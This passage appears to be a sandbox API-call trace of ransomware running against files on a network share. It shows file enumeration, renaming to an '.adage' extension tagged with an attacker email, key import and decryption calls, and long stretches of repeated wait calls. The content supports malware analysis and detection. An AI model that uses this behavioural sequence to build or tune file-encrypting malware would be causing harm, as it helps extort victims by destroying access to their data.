(lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\RKixholu7QWBM4vIh2Qr.ots.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\rkixholu7qwbm4vih2qr.ots.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0040.519] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\RKixholu7QWBM4vIh2Qr.ots" (normalized: "\\\\192.168.0.1\\documents\\rkixholu7qwbm4vih2qr.ots"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0040.525] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x28cf7b8 | out: pbBuffer=0x28cf7b8) returned 1 [0040.525] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\1qRDSM.ots" (normalized: "\\\\192.168.0.1\\documents\\1qrdsm.ots"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0040.529] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x28cf750 | out: lpFileSize=0x28cf750*=60271) returned 1 [0040.529] CloseHandle (hObject=0x180) returned 1 [0040.529] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\1qRDSM.ots" (normalized: "\\\\192.168.0.1\\documents\\1qrdsm.ots")) returned 0x80 [0040.529] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\1qRDSM.ots.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\1qrdsm.ots.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0040.530] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\1qRDSM.ots" (normalized: "\\\\192.168.0.1\\documents\\1qrdsm.ots"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0040.541] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x28cf7b8 | out: pbBuffer=0x28cf7b8) returned 1 [0040.541] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\Khw7ULNZgmj8e7C.ots" (normalized: "\\\\192.168.0.1\\documents\\khw7ulnzgmj8e7c.ots"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0040.544] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x28cf750 | out: lpFileSize=0x28cf750*=87110) returned 1 [0040.544] CloseHandle (hObject=0x180) returned 1 [0040.544] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\Khw7ULNZgmj8e7C.ots" (normalized: "\\\\192.168.0.1\\documents\\khw7ulnzgmj8e7c.ots")) returned 0x80 [0040.545] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\Khw7ULNZgmj8e7C.ots.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\khw7ulnzgmj8e7c.ots.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0040.545] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\Khw7ULNZgmj8e7C.ots" (normalized: "\\\\192.168.0.1\\documents\\khw7ulnzgmj8e7c.ots"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0040.555] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x28cf7b8 | out: pbBuffer=0x28cf7b8) returned 1 [0040.555] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\BJt1dICMT7jI.odt" (normalized: "\\\\192.168.0.1\\documents\\bjt1dicmt7ji.odt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0040.557] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x28cf750 | out: lpFileSize=0x28cf750*=58061) returned 1 [0040.557] CloseHandle (hObject=0x180) returned 1 [0040.557] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\BJt1dICMT7jI.odt" (normalized: "\\\\192.168.0.1\\documents\\bjt1dicmt7ji.odt")) returned 0x80 [0040.558] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\BJt1dICMT7jI.odt.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\bjt1dicmt7ji.odt.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0040.558] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\BJt1dICMT7jI.odt" (normalized: "\\\\192.168.0.1\\documents\\bjt1dicmt7ji.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0040.568] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x28cf7b8 | out: pbBuffer=0x28cf7b8) returned 1 [0040.568] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\Ad6eYrGeF6ADM39N.odt" (normalized: "\\\\192.168.0.1\\documents\\ad6eyrgef6adm39n.odt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0040.570] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x28cf750 | out: lpFileSize=0x28cf750*=59716) returned 1 [0040.570] CloseHandle (hObject=0x180) returned 1 [0040.570] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\Ad6eYrGeF6ADM39N.odt" (normalized: "\\\\192.168.0.1\\documents\\ad6eyrgef6adm39n.odt")) returned 0x80 [0040.571] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\Ad6eYrGeF6ADM39N.odt.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\ad6eyrgef6adm39n.odt.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0040.571] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\Ad6eYrGeF6ADM39N.odt" (normalized: "\\\\192.168.0.1\\documents\\ad6eyrgef6adm39n.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0040.580] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x50) returned 0xb058a0 [0040.580] CryptImportKey (in: hProv=0x735018, pbData=0x28cf6f8*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x28cf760 | out: phKey=0x28cf760*=0x73d5a8) returned 1 [0040.580] CryptSetKeyParam (hKey=0x73d5a8, dwParam=0x1, pbData=0x28cf748, dwFlags=0x0) returned 1 [0040.580] CryptDecrypt (in: hKey=0x73d5a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb058a0, pdwDataLen=0x28cf714 | out: pbData=0xb058a0, pdwDataLen=0x28cf714) returned 1 [0040.580] CryptDestroyKey (hKey=0x73d5a8) returned 1 [0040.581] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75130000 [0040.581] GetProcAddress (hModule=0x75130000, lpProcName="Wow64RevertWow64FsRedirection") returned 0x7515d638 [0040.581] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1 [0040.581] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb058a0 | out: hHeap=0xb00000) returned 1 [0040.581] SetEvent (hEvent=0x148) returned 1 [0040.581] SetEvent (hEvent=0x140) returned 1 [0040.581] SetEvent (hEvent=0x14c) returned 1 [0040.590] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0x2db0020 | out: hHeap=0xb00000) returned 1 [0040.603] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb057e0 | out: hHeap=0xb00000) returned 1 [0040.604] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0x35ff78 | out: hHeap=0xb00000) returned 1 [0040.606] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0x36ff80 | out: hHeap=0xb00000) returned 1 Thread: id = 14 os_tid = 0xf00 [0037.164] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x10000) returned 0x37ff88 [0037.164] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x10000) returned 0x38ff90 [0037.165] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x28) returned 0xb05810 [0037.165] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x110102) returned 0x2ed0020 [0037.165] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x50) returned 0xb05840 [0037.165] CryptImportKey (in: hProv=0x735018, pbData=0x2aefad0*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2aefb38 | out: phKey=0x2aefb38*=0x73d5a8) returned 1 [0037.165] CryptSetKeyParam (hKey=0x73d5a8, dwParam=0x1, pbData=0x2aefb20, dwFlags=0x0) returned 1 [0037.165] CryptDecrypt (in: hKey=0x73d5a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb05840, pdwDataLen=0x2aefaec | out: pbData=0xb05840, pdwDataLen=0x2aefaec) returned 1 [0037.165] CryptDestroyKey (hKey=0x73d5a8) returned 1 [0037.165] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75130000 [0037.165] GetProcAddress (hModule=0x75130000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x7515d620 [0037.165] Wow64DisableWow64FsRedirection (in: OldValue=0x2aefb88 | out: OldValue=0x2aefb88*=0x0) returned 1 [0037.166] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb05840 | out: hHeap=0xb00000) returned 1 [0037.166] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.167] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.167] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.167] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.167] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.167] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.167] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.167] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.167] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.167] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.167] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.167] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.167] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.167] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.168] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.168] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.168] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.168] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.168] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.168] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.168] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.168] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.168] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.168] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.168] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.168] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.169] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.169] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.169] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.169] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.169] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.169] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.169] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.169] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.169] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.169] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.169] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.169] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.170] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.170] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.170] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.170] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.170] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.170] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.170] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.170] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.170] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.170] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.170] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.170] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.171] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.171] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.171] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.171] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.171] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.171] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.171] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.171] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.171] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.171] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.171] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.171] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.172] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.172] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.172] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.172] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.172] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.172] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.172] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.172] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.172] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.172] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.173] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.173] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.173] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.173] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.173] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.173] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.173] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.173] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.173] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.173] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.173] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.173] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.174] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.174] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.174] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.174] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.174] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.174] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.174] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.174] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.174] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.174] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.174] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.174] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.174] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.175] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.175] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.175] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.175] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.175] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.175] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.175] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.175] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.175] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.175] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.175] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.175] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.176] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.176] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.176] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.176] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.176] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.176] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.176] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.176] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.176] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.176] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.176] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.176] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.177] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.177] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.177] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.177] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.177] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.177] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.177] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.177] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.177] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.177] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.177] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.177] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.177] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.178] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.178] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.178] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.178] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.178] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.178] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.178] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.178] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.178] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.178] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.178] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.178] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.179] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.179] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.179] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.179] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.179] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.179] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.179] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.179] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.179] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.179] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.179] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.179] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.179] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.180] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.180] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.180] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.180] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.180] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.180] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.180] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.180] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.180] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.180] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.180] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.180] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.180] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.181] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.181] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.181] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.181] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.181] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.181] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.181] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.181] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.181] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.181] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.181] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.181] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.182] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.182] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.182] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.182] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.182] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.182] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.182] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.182] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.182] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.182] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.182] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.182] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.183] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.183] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.183] WaitForSingleObject (hHandle=0x148, 